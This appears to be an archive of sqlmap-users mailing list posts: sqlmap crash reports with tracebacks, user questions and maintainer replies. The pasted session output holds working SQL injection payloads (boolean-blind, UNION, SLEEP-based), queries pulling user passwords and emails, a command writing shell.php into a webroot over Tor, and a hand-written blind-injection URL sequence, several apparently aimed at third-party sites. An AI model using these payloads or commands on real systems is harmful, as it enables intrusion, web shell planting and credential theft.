>     Title: MySQL > 5.0.11 AND time-based blind
>     Payload: id=12' AND SLEEP(5) AND 'oxZQ'='oxZQ
> ---
>
> [22:15:51] [INFO] the back-end DBMS is MySQL
>
> web application technology: Apache
> back-end DBMS: MySQL 5.0.11
> [22:15:51] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press
> ENTER
> sql-shell> select nick, pws from utenti
> [22:15:56] [INFO] fetching SQL SELECT statement query output: 'select
> nick, pws
> from utenti'
> select nick, pws from utenti:    'None'
>
> sql-shell> select nick, pws from utenti
> [22:16:08] [INFO] fetching SQL SELECT statement query output: 'select
> nick, pws
> from utenti'
> select nick, pws from utenti:    'None'
>
> sql-shell> select nick, pws, mail from utenti
> [22:16:32] [INFO] fetching SQL SELECT statement query output: 'select
> nick, pws,
>  mail from utenti'
> [22:16:32] [INFO] the SQL query provided has more than a field. sqlmap
> will now
> unpack it into distinct queries to be able to retrieve the output even if
> we are
>  going blind
> [22:16:32] [INFO] resumed: 4
> the SQL query provided can return 4 entries. How many entries do you want
> to ret
> rieve?
> [a] All (default)
> [#] Specific number
> [q] Quit
> > a
>
> [22:16:36] [INFO] retrieving the length of query output
>
> [22:16:36] [CRITICAL] unhandled exception in sqlmap/1.0-dev, retry your
> run with
>  the latest development version from the Subversion repository. If the
> exception
>  persists, please send by e-mail to sql...@li...the follo
> wing text and any information required to reproduce the bug. The
> developers will
>  try to reproduce the bug, fix it accordingly and get back to you.
> sqlmap version: 1.0-dev
> Python version: 2.7.2
> Operating system: nt
> Command line: P:\SQl INJECTION\sqlmap\sqlmap.py -u
> *****************************
> *********************** --sql-shell --threads=5
> Technique: BOOLEAN
> Back-end DBMS: MySQL (fingerprinted)
> Traceback (most recent call last):
>   File "P:\SQl INJECTION\sqlmap\_sqlmap.py", line 82, in main
>     start()
>   File "P:\SQl INJECTION\sqlmap\lib\controller\controller.py", line 573,
> in star
> t
>     action()
>   File "P:\SQl INJECTION\sqlmap\lib\controller\action.py", line 121, in
> action
>     conf.dbmsHandler.sqlShell()
>   File "P:\SQl INJECTION\sqlmap\plugins\generic\enumeration.py", line
> 2451, in s
> qlShell
>     output = self.sqlQuery(query)
>   File "P:\SQl INJECTION\sqlmap\plugins\generic\enumeration.py", line
> 2397, in s
> qlQuery
>     output = inject.getValue(query, fromUser=True)
>   File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 439, in
> getValue
>     value = __goInferenceProxy(query, fromUser, expected, batch, unpack,
> charset
> Type, firstChar, lastChar, dump)
>   File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 306, in
> __goInferen
> ceProxy
>     output = __goInferenceFields(expression, expressionFields,
> expressionFieldsL
> ist, payload, expected, num, charsetType=charsetType, firstChar=firstChar,
> lastC
> har=lastChar, dump=dump)
>   File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 115, in
> __goInferen
> ceFields
>     output = __goInference(payload, expressionReplaced, charsetType,
> firstChar,
> lastChar, dump)
>   File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 70, in
> __goInferenc
> e
>     _, length, _ = queryOutputLength(expression, payload)
>   File "P:\SQl INJECTION\sqlmap\lib\utils\resume.py", line 74, in
> queryOutputLen
> gth
>     count, length = bisection(payload, lengthExprUnescaped, expected=
> EXPECTED.IN
> T, charsetType=CHARSET_TYPE.DIGITS)
> TypeError: bisection() got an unexpected keyword argument 'expected'
>
> [*] shutting down at 22:16:36
>
>
> ------------------------------------------------------------------------------
> Better than sec? Nothing is better than sec when it comes to
> monitoring Big Data applications. Try Boundary one-second
> resolution app monitoring today. Free.
> http://p.sf.net/sfu/Boundary-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Bug Found in sql-shell!

[Marco M. <mm...@gm...>]

[22:15:51] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[22:15:51] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s)
reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=12' AND 7690=7690 AND 'coUR'='coUR

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=12' UNION ALL SELECT NULL,
CONCAT(0x3a6e617a3a,0x61476a577a70535
36676,0x3a6f61623a)# AND 'vhgF'='vhgF

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=12' AND SLEEP(5) AND 'oxZQ'='oxZQ
---

[22:15:51] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL 5.0.11
[22:15:51] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press
ENTER
sql-shell> select nick, pws from utenti
[22:15:56] [INFO] fetching SQL SELECT statement query output: 'select nick,
pws
from utenti'
select nick, pws from utenti:    'None'

sql-shell> select nick, pws from utenti
[22:16:08] [INFO] fetching SQL SELECT statement query output: 'select nick,
pws
from utenti'
select nick, pws from utenti:    'None'

sql-shell> select nick, pws, mail from utenti
[22:16:32] [INFO] fetching SQL SELECT statement query output: 'select nick,
pws,
 mail from utenti'
[22:16:32] [INFO] the SQL query provided has more than a field. sqlmap will
now
unpack it into distinct queries to be able to retrieve the output even if
we are
 going blind
[22:16:32] [INFO] resumed: 4
the SQL query provided can return 4 entries. How many entries do you want
to ret
rieve?
[a] All (default)
[#] Specific number
[q] Quit
> a

[22:16:36] [INFO] retrieving the length of query output

[22:16:36] [CRITICAL] unhandled exception in sqlmap/1.0-dev, retry your run
with
 the latest development version from the Subversion repository. If the
exception
 persists, please send by e-mail to sql...@li... the
follo
wing text and any information required to reproduce the bug. The developers
will
 try to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev
Python version: 2.7.2
Operating system: nt
Command line: P:\SQl INJECTION\sqlmap\sqlmap.py -u
*****************************
*********************** --sql-shell --threads=5
Technique: BOOLEAN
Back-end DBMS: MySQL (fingerprinted)
Traceback (most recent call last):
  File "P:\SQl INJECTION\sqlmap\_sqlmap.py", line 82, in main
    start()
  File "P:\SQl INJECTION\sqlmap\lib\controller\controller.py", line 573, in
star
t
    action()
  File "P:\SQl INJECTION\sqlmap\lib\controller\action.py", line 121, in
action
    conf.dbmsHandler.sqlShell()
  File "P:\SQl INJECTION\sqlmap\plugins\generic\enumeration.py", line 2451,
in s
qlShell
    output = self.sqlQuery(query)
  File "P:\SQl INJECTION\sqlmap\plugins\generic\enumeration.py", line 2397,
in s
qlQuery
    output = inject.getValue(query, fromUser=True)
  File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 439, in
getValue
    value = __goInferenceProxy(query, fromUser, expected, batch, unpack,
charset
Type, firstChar, lastChar, dump)
  File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 306, in
__goInferen
ceProxy
    output = __goInferenceFields(expression, expressionFields,
expressionFieldsL
ist, payload, expected, num, charsetType=charsetType, firstChar=firstChar,
lastC
har=lastChar, dump=dump)
  File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 115, in
__goInferen
ceFields
    output = __goInference(payload, expressionReplaced, charsetType,
firstChar,
lastChar, dump)
  File "P:\SQl INJECTION\sqlmap\lib\request\inject.py", line 70, in
__goInferenc
e
    _, length, _ = queryOutputLength(expression, payload)
  File "P:\SQl INJECTION\sqlmap\lib\utils\resume.py", line 74, in
queryOutputLen
gth
    count, length = bisection(payload, lengthExprUnescaped, expected=
EXPECTED.IN
T, charsetType=CHARSET_TYPE.DIGITS)
TypeError: bisection() got an unexpected keyword argument 'expected'

[*] shutting down at 22:16:36

[sqlmap-users] boolean-based-blind

[Fabio T. <fab...@gm...>]

C:\Users\nome\Desktop\sqlmap> python sqlmap.py -u "http://sito.wor
dpress.com/wp-login.php?redirect_to=http%3A%2F%2Fsito.wordpress.com
%2Fwp-admin%2F&reauth=1" -f -b --current-user --current-db --users
--passwords -
-dbs -v1

---
Place: GET
Parameter: reauth
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: redirect_to=http://sito.wordpress.com/wp-admin/&reauth
=1' AND 7608=7608 AND 'Kzgy'='Kzgy

how can be used this injection? I don't understand what AND 7608=7608 AND
'Kzgy'='Kzgy mean..
thx everybody

[sqlmap-users] Problem Injecting in ORDER BY clause

[Korius <kor...@ya...>]

Hi list,

I'm having trouble exploiting an SQLi in an ORDER BY clause with sqlmap.
Manually I can inject using a construct like "(CASE WHEN 'a'='b' THEN
t.bar ELSE (SELECT BENCHMARK(1000000,MD5(1))) END)" where t.bar is a
correct column name and then altering the boolean clause. Unfortunately
the target server responds pretty slowly, so a manual extraction is
gonna be agonizingly slow.

Just passing the target URL to sqlmap (yesterday's build 4938), sqlmap
wont find an injection using level 3. I also tried passing my manual
vector as prefix/suffix (--prefix="(CASE WHEN 'a'='" --suffix="' THEN
t.bar ELSE (SELECT BENCHMARK(1000000,MD5(1))) END)") but without avail.
Any ideas or suggestions?

Cheers
Dennis

Re: [sqlmap-users] (no subject)

[Miroslav S. <mir...@gm...>]

Hi.

Thank you and find it fixed with the latest commit (4952).

Kind regards,
Miroslav Stampar

On Tue, Apr 3, 2012 at 5:44 PM, Shadow Folder <sha...@gm...>wrote:

> sqlmap version: 1.0-dev (r4930)
> Python version: 2.6.5
> Operating system: posix
> Command line: sqlmap.py -u
> ******************************************************** --tor --dbms=mysql
> --file-write=shell.php --file-dest=/srv/www/htdocs/shell.php --level 3
> --risk 2
> Technique: ERROR
> Back-end DBMS: MySQL (fingerprinted)
> Traceback (most recent call last):
>   File "/pentest/database/sqlmap/_sqlmap.py", line 82, in main
>     start()
>   File "/pentest/database/sqlmap/lib/controller/controller.py", line 573,
> in start
>     action()
>   File "/pentest/database/sqlmap/lib/controller/action.py", line 132, in
> action
>     conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
>   File "/pentest/database/sqlmap/plugins/generic/filesystem.py", line 326,
> in writeFile
>     self.unionWriteFile(wFile, dFile, fileType, confirm)
>   File "/pentest/database/sqlmap/plugins/dbms/mysql/filesystem.py", line
> 98, in unionWriteFile
>     self.askCheckWrittenFile(wFile, dFile, fileType)
>   File "/pentest/database/sqlmap/plugins/generic/filesystem.py", line 239,
> in askCheckWrittenFile
>     self.__checkWrittenFile(wFile, dFile, fileType)
>   File "/pentest/database/sqlmap/plugins/generic/filesystem.py", line 115,
> in __checkWrittenFile
>     if dFileSize and dFileSize.isdigit():
> AttributeError: 'list' object has no attribute 'isdigit'
>
> [*] shutting down at 09:40:59
>
>
>
> ------------------------------------------------------------------------------
> Better than sec? Nothing is better than sec when it comes to
> monitoring Big Data applications. Try Boundary one-second
> resolution app monitoring today. Free.
> http://p.sf.net/sfu/Boundary-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] (no subject)

[Shadow F. <sha...@gm...>]

sqlmap version: 1.0-dev (r4930)
Python version: 2.6.5
Operating system: posix
Command line: sqlmap.py -u
******************************************************** --tor --dbms=mysql
--file-write=shell.php --file-dest=/srv/www/htdocs/shell.php --level 3
--risk 2
Technique: ERROR
Back-end DBMS: MySQL (fingerprinted)
Traceback (most recent call last):
  File "/pentest/database/sqlmap/_sqlmap.py", line 82, in main
    start()
  File "/pentest/database/sqlmap/lib/controller/controller.py", line 573,
in start
    action()
  File "/pentest/database/sqlmap/lib/controller/action.py", line 132, in
action
    conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
  File "/pentest/database/sqlmap/plugins/generic/filesystem.py", line 326,
in writeFile
    self.unionWriteFile(wFile, dFile, fileType, confirm)
  File "/pentest/database/sqlmap/plugins/dbms/mysql/filesystem.py", line
98, in unionWriteFile
    self.askCheckWrittenFile(wFile, dFile, fileType)
  File "/pentest/database/sqlmap/plugins/generic/filesystem.py", line 239,
in askCheckWrittenFile
    self.__checkWrittenFile(wFile, dFile, fileType)
  File "/pentest/database/sqlmap/plugins/generic/filesystem.py", line 115,
in __checkWrittenFile
    if dFileSize and dFileSize.isdigit():
AttributeError: 'list' object has no attribute 'isdigit'

[*] shutting down at 09:40:59

Re: [sqlmap-users] MySql 3 - sqlMap don't retrieve db name -- Suggestion for new implementation

[Miroslav S. <mir...@gm...>]

thank you for your tip. will have it on our mind to implement it for MySQL
3 (which is currently of a low priority)

kind regards

On Fri, Mar 30, 2012 at 1:44 PM, Marco Mirandola <mm...@gm...> wrote:

> From this DBMS (MySql 3) SqlMap don't retireve the name of 'Current DB'
>
> [13:38:33] [INFO] resuming back-end DBMS 'mysql 3' from session file
> [13:38:33] [INFO] testing connection to the target url
> sqlmap identified the following injection points with a total of 0 HTTP(s)
> reque
> sts:
> ---
> Place: GET
> Parameter: ID
>     Type: boolean-based blind
>     Title: AND boolean-based blind - WHERE or HAVING clause
>     Payload: ID=26 AND 1443=1443
> ---
> [13:38:38] [INFO] the back-end DBMS is MySQL
> web server operating system: Linux Red Hat 7.2 or 7.3 or 7.1 (Seawolf or
> Enigma
> or Valhalla)
> web application technology: PHP 4.4.2, Apache 1.3.27
> back-end DBMS: MySQL 3
> [13:38:38] [WARNING] information_schema not available, back-end DBMS is
> MySQL <
> 5. database names will be fetched from 'mysql' database
> [13:38:38] [INFO] fetching number of databases
> [13:38:38] [WARNING] running in a single-thread mode. Please consider
> usage of o
> ption '--threads' for faster data retrieval
> [13:38:38] [INFO] retrieved:
> [13:38:57] [ERROR] unable to retrieve the number of databases
> [13:38:57] [INFO] falling back to current database
> [13:38:57] [INFO] fetching current database
> [13:38:57] [INFO] retrieved:
> [13:39:41] [CRITICAL] unable to retrieve the database names
>
> This is the correct sequence to implement:
>
> Get length of database (Length of 'Current DB' is 3)
> ?ID=26+and+Length%28%28database%28%29%29%29%3C32
> ?ID=26+and+Length%28%28database%28%29%29%29%3C16
> ?ID=26+and+Length%28%28database%28%29%29%29%3C8
> ?ID=26+and+Length%28%28database%28%29%29%29%3C4
> ?ID=26+and+Length%28%28database%28%29%29%29%3D3
>
> Try to get the name of database (Name of 'Current DB' is die)
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C79
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C103
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C91
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C97
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C100
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3D102
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3D101
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3D100
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C79
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C103
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C115
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C109
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C106
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3D105
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C79
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C103
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C91
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C97
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C100
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3D102
> ?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3D101
>
> Best regards
>
>
> ------------------------------------------------------------------------------
> This SF email is sponsosred by:
> Try Windows Azure free for 90 days Click Here
> http://p.sf.net/sfu/sfd2d-msazure
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] MySql 3 - sqlMap don't retrieve db name -- Suggestion for new implementation

[Marco M. <mm...@gm...>]

>From this DBMS (MySql 3) SqlMap don't retireve the name of 'Current DB'

[13:38:33] [INFO] resuming back-end DBMS 'mysql 3' from session file
[13:38:33] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s)
reque
sts:
---
Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=26 AND 1443=1443
---
[13:38:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Red Hat 7.2 or 7.3 or 7.1 (Seawolf or
Enigma
or Valhalla)
web application technology: PHP 4.4.2, Apache 1.3.27
back-end DBMS: MySQL 3
[13:38:38] [WARNING] information_schema not available, back-end DBMS is
MySQL <
5. database names will be fetched from 'mysql' database
[13:38:38] [INFO] fetching number of databases
[13:38:38] [WARNING] running in a single-thread mode. Please consider usage
of o
ption '--threads' for faster data retrieval
[13:38:38] [INFO] retrieved:
[13:38:57] [ERROR] unable to retrieve the number of databases
[13:38:57] [INFO] falling back to current database
[13:38:57] [INFO] fetching current database
[13:38:57] [INFO] retrieved:
[13:39:41] [CRITICAL] unable to retrieve the database names

This is the correct sequence to implement:

Get length of database (Length of 'Current DB' is 3)
?ID=26+and+Length%28%28database%28%29%29%29%3C32
?ID=26+and+Length%28%28database%28%29%29%29%3C16
?ID=26+and+Length%28%28database%28%29%29%29%3C8
?ID=26+and+Length%28%28database%28%29%29%29%3C4
?ID=26+and+Length%28%28database%28%29%29%29%3D3

Try to get the name of database (Name of 'Current DB' is die)
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C79
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C103
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C91
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C97
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3C100
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3D102
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3D101
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C1%2C1%29%29%3D100
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C79
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C103
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C115
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C109
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3C106
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C2%2C1%29%29%3D105
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C79
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C103
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C91
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C97
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3C100
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3D102
?ID=26+and+ascii%28substring%28%28database%28%29%29%2C3%2C1%29%29%3D101

Best regards

Re: [sqlmap-users] Bug after dump over UNION

[Miroslav S. <mir...@gm...>]

Hi nightman.

Could you please update to the latest revision (r4918) and retry it again?
Hopefully, it should be fixed now.

Kind regards,
Miroslav Stampar

On Wed, Mar 28, 2012 at 4:03 PM, <nig...@em...> wrote:

> [08:43:37] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4914), retry
> your run with the latest
> development version from the Subversion repository. If the exception
> persists, please send by e-mail
>  to sql...@li... the following text and any
> information required to reproduce
> the bug. The developers will try to reproduce the bug, fix it accordingly
> and get back to you.
> sqlmap version: 1.0-dev (r4914)
> Python version: 2.7.2
> Operating system: nt
> Command line: C:\map\sqlmap.py -u
> ********************************************************** -p id -
> -threads=6 --random-agent --level 5 --risk 3 --dump -D **************** -T
> **** -C *****************
> ***************
> Technique: UNION
> Back-end DBMS: MySQL (fingerprinted)
> Traceback (most recent call last):
>   File "C:\map\_sqlmap.py", line 82, in main
>     start()
>   File "C:\map\lib\controller\controller.py", line 573, in start
>     action()
>   File "C:\map\lib\controller\action.py", line 109, in action
>     conf.dbmsHandler.dumpTable()
>   File "C:\map\plugins\generic\enumeration.py", line 1613, in dumpTable
>     entries = inject.getValue(query, blind=False, dump=True)
>   File "C:\map\lib\request\inject.py", line 398, in getValue
>     value = __goInband(query, expected, unique, unpack, dump)
>   File "C:\map\lib\request\inject.py", line 345, in __goInband
>     output = unionUse(expression, unpack=unpack, dump=dump)
>   File "C:\map\lib\techniques\union\use.py", line 343, in unionUse
>     value = __oneShotUnionUse(expression, unpack)
>   File "C:\map\lib\techniques\union\use.py", line 73, in __oneShotUnionUse
>     page, headers = Request.queryPage(payload, content=True,
> raise404=False)
>   File "C:\map\lib\request\connect.py", line 714, in queryPage
>     page = removeReflectiveValues(page, payload)
>   File "C:\map\lib\core\common.py", line 2688, in removeReflectiveValues
>     retVal = re.sub(regex, REFLECTED_VALUE_MARKER, content, re.I)
>   File "C:\Python27\lib\re.py", line 151, in sub
>     return _compile(pattern, flags).sub(repl, string, count)
> MemoryError
>
> [*] shutting down at 08:43:37
>
>
>
> ------------------------------------------------------------------------------
> This SF email is sponsosred by:
> Try Windows Azure free for 90 days Click Here
> http://p.sf.net/sfu/sfd2d-msazure
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Bug after dump over UNION

[<nig...@em...>]

<html><head></head><body><div style="font-family: Verdana;font-size: 12.0px;"><div>[08:43:37] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4914), retry your run with the latest<br/>development version from the Subversion repository. If the exception persists, please send by e-mail<br/>&nbsp;to sql...@li... the following text and any information required to reproduce<br/>the bug. The developers will try to reproduce the bug, fix it accordingly and get back to you.<br/>sqlmap version: 1.0-dev (r4914)<br/>Python version: 2.7.2<br/>Operating system: nt<br/>Command line: C:\map\sqlmap.py -u ********************************************************** -p id -<br/>-threads=6 --random-agent --level 5 --risk 3 --dump -D **************** -T **** -C *****************<br/>***************<br/>Technique: UNION<br/>Back-end DBMS: MySQL (fingerprinted)<br/>Traceback (most recent call last):<br/>&nbsp; File &quot;C:\map\_sqlmap.py&quot;, line 82, in main<br/>&nbsp;&nbsp;&nbsp; start()<br/>&nbsp; File &quot;C:\map\lib\controller\controller.py&quot;, line 573, in start<br/>&nbsp;&nbsp;&nbsp; action()<br/>&nbsp; File &quot;C:\map\lib\controller\action.py&quot;, line 109, in action<br/>&nbsp;&nbsp;&nbsp; conf.dbmsHandler.dumpTable()<br/>&nbsp; File &quot;C:\map\plugins\generic\enumeration.py&quot;, line 1613, in dumpTable<br/>&nbsp;&nbsp;&nbsp; entries = inject.getValue(query, blind=False, dump=True)<br/>&nbsp; File &quot;C:\map\lib\request\inject.py&quot;, line 398, in getValue<br/>&nbsp;&nbsp;&nbsp; value = __goInband(query, expected, unique, unpack, dump)<br/>&nbsp; File &quot;C:\map\lib\request\inject.py&quot;, line 345, in __goInband<br/>&nbsp;&nbsp;&nbsp; output = unionUse(expression, unpack=unpack, dump=dump)<br/>&nbsp; File &quot;C:\map\lib\techniques\union\use.py&quot;, line 343, in unionUse<br/>&nbsp;&nbsp;&nbsp; value = __oneShotUnionUse(expression, unpack)<br/>&nbsp; File &quot;C:\map\lib\techniques\union\use.py&quot;, line 73, in __oneShotUnionUse<br/>&nbsp;&nbsp;&nbsp; page, headers = Request.queryPage(payload, content=True, raise404=False)<br/>&nbsp; File &quot;C:\map\lib\request\connect.py&quot;, line 714, in queryPage<br/>&nbsp;&nbsp;&nbsp; page = removeReflectiveValues(page, payload)<br/>&nbsp; File &quot;C:\map\lib\core\common.py&quot;, line 2688, in removeReflectiveValues<br/>&nbsp;&nbsp;&nbsp; retVal = re.sub(regex, REFLECTED_VALUE_MARKER, content, re.I)<br/>&nbsp; File &quot;C:\Python27\lib\re.py&quot;, line 151, in sub<br/>&nbsp;&nbsp;&nbsp; return _compile(pattern, flags).sub(repl, string, count)<br/>MemoryError<br/><br/>[*] shutting down at 08:43:37<br/><br/></div></div></body></html>